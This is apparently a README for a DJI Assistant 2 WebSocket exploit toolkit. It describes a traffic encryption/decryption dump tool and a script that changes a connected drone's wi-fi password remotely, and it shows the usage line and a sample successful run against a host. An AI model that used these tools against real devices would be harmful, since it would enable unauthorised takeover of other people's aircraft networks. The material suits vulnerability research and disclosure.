DJI WebSocket interface exploitation

Tools for working with the websocket server launched by DJI Assistant 2 application.

dji_wsdump.py

wsdump.py tool from websocket-client package, modified to encrypt/decrypt data in communications with DJI Assistant 2 websocket server.

dji_ws_exploit.py

A tool to modify an aircraft wi-fi network password remotely while it is connected through USB to a remote host.

Usage: dji_ws_exploit.py [-h] target password
    target -  remote host which the aircraft's connected to
    password - new wi-fi network password

Example:

# python dji_ws_exploit.py 192.168.17.7 1q2w3e
[*] Connecting to ws://192.168.17.7:19870/general
[*] Determined encryption: enabled
[*] Grabbed id value: 1d9776fab950ed3f441909deafe56b1226ca5889
[*] Connecting to ws://192.168.17.7:19870/controller/wifi/1d9776fab950ed3f441909deafe56b1226ca5889
[*] Setting new password for wi-fi network
[*] Rebooting wi-fi
[!] Success